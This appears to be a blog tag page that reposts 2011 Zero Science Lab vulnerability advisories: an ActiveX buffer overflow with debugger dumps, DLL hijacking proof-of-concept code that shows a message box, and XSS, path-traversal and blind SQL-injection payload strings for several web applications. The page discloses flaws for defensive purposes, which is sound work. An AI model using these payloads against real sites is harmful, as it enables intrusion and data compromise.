Posts Tagged ‘ предупредување

Gesytec ElonFmt ActiveX 1.1.14 (ElonFmt.ocx) pid Item Buffer Overflow (SEH)

The ElonFmt ActiveX Control Module suffers from a buffer overflow vulnerability. When a large buffer is sent to the pid item of the GetItem1 function in elonfmt.ocx module, we get a few memory registers overwritten including the SEH. We’re dealing with a character translation. An attacker can gain access to the system on the affected node and execute arbitrary code.

—————————————————————–
CompanyName
FileDescription ElonFmt ActiveX Control Module
FileVersion 1, 1, 14, 1
InternalName ElonFmt
LegalCopyright Copyright (C) 2002 – 2008 Gesytec GmbH
OriginalFileName ElonFmt.OCX
ProductName ElonFmt ActiveX Control Module
ProductVersion 1, 1, 14, 1
—————————————————————–

Exception Code: ACCESS_VIOLATION
Disasm: AAAAAAAA ????? ()

Seh Chain:
————————————————–
1 7C9032BC ntdll.dll
2 AAAAAAAA

Registers:
————————————————–
EIP AAAAAAAA
EAX 00000000
EBX 00000000
ECX AAAAAAAA
EDX 7C9032BC -> 04244C8B
EDI 00000000
ESI 00000000
EBP 0013E7F8 -> 0013E8A8
ESP 0013E7D8 -> 7C9032A8

Block Disassembly:
————————————————–
AAAAAAAA ????? <--- CRASH ArgDump: -------------------------------------------------- EBP+8 0013E8C0 -> C0000005
EBP+12 0013ECF0 -> AAAAAAAA
EBP+16 0013E8DC -> 0001003F
EBP+20 0013E894 -> 7C96F3BC
EBP+24 AAAAAAAA
EBP+28 00000236

Stack Dump:
————————————————–
13EBA8 01 00 00 00 00 00 00 00 08 AF 47 00 81 18 C3 77 [……….G….w]
13EBB8 14 2C 00 00 A2 56 00 10 41 ED 13 00 E8 EB 13 00 […..V……….]
13EBC8 20 8F 63 01 B8 8E 63 01 81 18 C3 77 01 00 00 00 [..c…c….w….]
13EBD8 64 21 12 77 FF 00 00 00 74 E1 97 7C 51 7C 91 7C [d..w….t…Q…]
13EBE8 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA […………….]

———————————————–

(fc.1608): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=cccccccc edx=7c9032bc esi=00000000 edi=00000000
eip=cccccccc esp=0013e7d8 ebp=0013e7f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
cccccccc ?? ???
0:000> !exchain
0013e7ec: ntdll!ExecuteHandler2+3a (7c9032bc)
0013ecf0: cccccccc
Invalid exception stack at bbbbbbbb
0:000> u 0013ecf0
0013ecf0 bbbbbbbbcc mov ebx,0CCBBBBBBh
0013ecf5 cc int 3
0013ecf6 cc int 3
0013ecf7 cc int 3
0013ecf8 dddd fstp st(5)
0013ecfa dddd fstp st(5)
0013ecfc dddd fstp st(5)
0013ecfe dddd fstp st(5)

0:000> d esp
0013eb58 01 00 00 00 8d 61 53 80-7c 5a 63 af 00 00 00 00 …..aS.|Zc…..
0013eb68 88 d5 2e ba 00 00 00 00-24 46 53 8a 00 86 8f bf ……..$FS…..
0013eb78 a8 5a 63 af a8 5a 63 af-fb 0a 80 bf 60 29 53 89 .Zc..Zc…..`)S.
0013eb88 ce 86 8f bf 68 d5 2e ba-88 d5 2e ba 00 00 00 00 ….h………..
0013eb98 06 00 05 00 a1 00 00 00-2e 0e 73 74 d1 18 43 7e ……….st..C~
0013eba8 01 00 00 00 00 00 00 00-40 f7 47 00 81 18 c3 77 ……..@.G….w
0013ebb8 1a 03 00 00 a2 56 00 10-00 ed 13 00 e8 eb 13 00 …..V……….
0013ebc8 20 8f 63 01 b8 8e 63 01-81 18 c3 77 01 00 00 00 .c…c….w….
0:000> d
0013ebd8 64 21 12 77 ff 00 00 00-74 e1 97 7c 51 7c 91 7c d!.w….t..|Q|.|
0013ebe8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ebf8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec08 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec18 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec28 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec38 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec48 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0:000> d
0013ebe8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ebf8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec08 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec18 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec28 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec38 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec48 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec58 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0:000> d
0013ec68 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec78 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec88 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ec98 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013eca8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ecb8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ecc8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0013ecd8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa …………….
0:000> d
0013ece8 aa aa aa aa aa aa aa aa-bb bb bb bb cc cc cc cc …………….
0013ecf8 dd dd dd dd dd dd dd dd-dd ad d0 01 01 00 63 01 …………..c.
0013ed08 00 00 00 00 b8 8e 63 01-01 00 00 00 00 ed 13 00 ……c………
0013ed18 82 a5 00 10 8c ed 13 00-b8 8e 63 01 28 ee 13 00 ……….c.(…
0013ed28 00 00 00 00 80 02 63 01-80 ed 13 00 ae 43 dd 73 ……c……C.s
0013ed38 5c ed 13 00 d8 f0 00 10-02 00 00 00 d9 a3 00 10 \……………
0013ed48 80 02 63 01 24 8e 56 01-01 00 00 00 78 8e 63 01 ..c.$.V…..x.c.
0013ed58 48 ed 13 00 80 ed 13 00-98 f0 00 10 01 00 00 00 H……………

Advisory ID: ZSL-2011-5011
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5011.php

docuFORM Mercury WebApp 6.16a/5.20 Multiple Cross-Site Scripting Vulnerabilities

The Mercury Web Application suffers from multiple XSS vulnerabilities when parsing user input thru the GET parameter ‘this_url’ and the POST parameter ‘aa_sfunc’ in f_state.php, f_list.php, f_job.php and f_header.php scripts. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user’s browser session.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5010.php

Help & Manual Professional Edition 5.5.1 (ijl15.dll) DLL Hijacking Exploit

Help & Manual Professional Edition 5.5.1 (ijl15.dll) DLL Hijacking Exploit

Vendor: EC Software GmbH
Product web page: http://www.helpandmanual.com
Affected version: 5.5.1 Build 1296

Summary: Help & Manual 5 is a single-source help authoring and content
management system for both single and multi-author editing.

Desc: Help & Manual suffers from a DLL hijacking vulnerability that enables
the attacker to execute arbitrary code on the affected machine. The vulnerable
extensions are hmxz, hmxp, hmskin, hmx, hm3, hpj, hlp and chm thru ijl15.dll
Intel’s library.

Tested on: Microsoft Windows XP Professional SP3 EN

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com

Advisory ID: ZSL-2011-5009
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5009.php

06.04.2011


#include

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5009.php

Anfibia Reactor 2.1.1 (login.do) Remote XSS POST Injection Vulnerability

Vendor: Anfibia Software
Product web page: http://www.anfibia-soft.com
Affected version: 2.1.1.12

Summary: Fast web-based server monitoring. Keep an eye on servers,
connections, databases, cpu, hard drives and more!

Desc: The Anfibia Reactor JS service suffers from a XSS vulnerability
when parsing user input to the ‘email’ parameter via POST method in
‘reactor/login.do’ script at the manager login interface. Attackers
can exploit this weakness to execute arbitrary HTML and script code
in a user’s browser session.

Tested on: Microsoft Windows XP Professional SP3 (EN)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com
Zero Science Lab – http://www.zeroscience.mk

[14.03.2011] Vulnerability discovered.
[16.03.2011] Contact with the vendor.
[16.03.2011] Vendor replies asking more details.
[16.03.2011] Sent vulnerability details to vendor.
[16.03.2011] Vendor confirms XSS issue.
[06.04.2011] Vendor releases version 3 to address this issue.
[06.04.2011] Coordinated public advisory released.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5008.php

TutorialMS v1.4 (show) Remote SQL Injection Vulnerability

TutorialMS is a free content management system, developed specifically for tutorial pages. It is written in PHP and uses MySQL as a database. TutorialMS offers all the usual features you need to build quick and easy your own tutorial page, without great programming knowledge.

Input passed via the ‘show’ parameter to the ‘includes/classes/tutorial.php’ script is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5007.php

DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities

DoceboLMS suffers from multiple stored XSS vulnerabilities pre and post auth. Input thru the POST parameters ‘name’, ‘code’ and ‘title’ in index.php is not sanitized allowing the attacker to execute HTML code into user’s browser session on the affected site. URI based XSS vulnerabilities are also present.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5006.php

Antamedia Internet Cafe Software 7.1 Insecure Permissions/DLL Loading

/*

Antamedia Internet Cafe Software 7.1 Insecure Permissions/DLL Loading

Vendor: Antamedia
Product Web Page: http://www.antamediacafe.com
Affected Version: 7.1.1.0

Summary: Internet Cafe Software – Cyber Cafe software is a worldwide top
selling solution for CyberCafe management and game center control. It
protects your computers from unauthorized usage and helps with customer
billing. Many features like POS, print manager, console controller, smart
cards, credit card billing, makes it suitable for any cyber cafe, hotel,
airport terminals, game center.

Desc: Antamedia ICS suffers from a dll hijacking vulnerability and improper
ACL permissions that enables the attacker to execute arbitrary code or change
the binary with another of his/her choice because of the (C)Change perm for the
group Everyone (AICLogin.exe, AICCore.exe). The vulnerable extensions are .fp3
and .swf thru qwave.dll library.

Tested on Microsoft Windows XP Professional SP3 (EN)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
liquidworm gmail com

Zero Science Lab – http://www.zeroscience.mk

Advisory ID: ZSL-2011-5005
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5005.php

26.03.2011

*/

#include

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, “DLL Hijacked!”, “DLL Message”, MB_OK);
}

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5005.php

Family Connections CMS 2.3.2 (POST) Stored XSS And XML Injection

FCMS suffers from a stored XSS vulnerability (post-auth) in messageboard.php script thru the ‘subject’ post parameter. XML Inj. lies in the ‘/inc/getChat.php’ script with ‘users’ get parameter with no args, and post parameter ‘message’.

Advisory ID: ZSL-2011-5004
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5004.php

Pointter PHP Content Management System 1.2 Multiple Vulnerabilities

Pointter PHP Content Management System 1.2 Multiple Vulnerabilities

Vendor: PangramSoft GmbH
Product web page: http://www.pointter.com
Affected version: 1.2

Summary: Pointter PHP Content Management System is an advanced, fast
and user friendly CMS script that can be used to build simple websites
or professional websites with product categorization, product blogs,
member login and search modules. The webmaster can create unlimited
static page boxes, static pages, main categories, sub categories and
product pages.

Desc: Pointter CMS suffers from multiple vulnerabilities (post-auth)
including: Stored XSS, bSQLi, LFI, Cookie Manipulation, DoS.

Tested on: Microsoft Windows XP Pro SP3 (en)

Vulnerabilities discovered by Gjoko ‘LiquidWorm’ Krstic

Advisory ID: ZSL-2011-5002
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5002.php

10.03.2011


XSS:
The stored XSS is pretty much everywhere in the admin panel, just posting the
string ‘”><script>alert(1)</script>’ when editing some category, and on every
return on the main page u get annoyed.

LFI:
script: pointtercms/admin/functions/createcategory.php
post param: category
poc: category=../../../../../../../../../test.txt%00&code=0e=0

script: pointtercms/admin/functions/createpage.php
post param: pageurl

script: pointtercms/admin/functions/createproduct.php
post param: producturl

bSQLi:
script: pointtercms/admin/functions/editsettings.php
post param: onoff, count, boxname, tonoff, tname, monoff, mname, nonoff, nname,
memonoff, memname, searchonoff, searchname, pos, tpos, mpos, npos, mempos, mail.
poc: onoff=1’+and+sleep(10)%23&pos=0
– Response size: 0 bytes, Duration: 10016 ms

Advisory: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-5002.php

MG2 0.5.1 Multiple XSS Vulnerabilities

Summary

MG2 is the sequel to the popular image gallery script MiniGal. One of the highlights of MG2 is, that it supports PHP running in safe mode which is unsupported by almost all other dynamic image gallery scripts on the web.

Description
MG2 suffers from multiple XSS vulns. Several parameters are vulnerable that are not sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4993.php